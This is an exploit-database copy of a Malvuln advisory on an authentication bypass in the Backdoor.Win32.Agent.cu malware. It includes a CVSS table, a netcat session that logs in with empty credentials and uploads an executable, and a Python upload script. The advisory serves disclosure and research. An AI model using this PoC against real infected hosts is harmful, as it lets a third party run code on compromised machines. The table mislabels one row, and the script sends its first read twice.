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Backdoor.Win32.Agent.cu / Authentication Bypass RCE

CVE	Category	Price	Severity
N/A	CWE-284	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2021-07-27

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements	Present	AT	The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System	High	VC	There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System	High	VI	There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System	High	VA	There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact	Negligible	SC	There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System	None	SI	There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System	None	SA	There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070152

Below is a copy:

Backdoor.Win32.Agent.cu / Authentication Bypass RCE

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ce1963d3fd6a8e1383aac40a1f1c4107.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.cu
Vulnerability: Authentication Bypass RCE 
Description: The malware listens on TCP ports 10426, 56185. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: ce1963d3fd6a8e1383aac40a1f1c4107
Vuln ID: MVID-2021-0303
Dropped files: MsgNet32.exe
Disclosure: 07/26/2021 

Exploit/PoC:
nc64.exe 192.168.18.129 56185
220 Erazer - Transfer Server
USER
331 Password required for .
PASS
230 User  logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,129,194,38).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.129"
PORT=49702
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("Backdoor.Win32.Agent.cu / Authentication Bypass RCE")
    print("MD5: ce1963d3fd6a8e1383aac40a1f1c4107")
    print("By Malvuln");

if __name__=="__main__":
    doit()

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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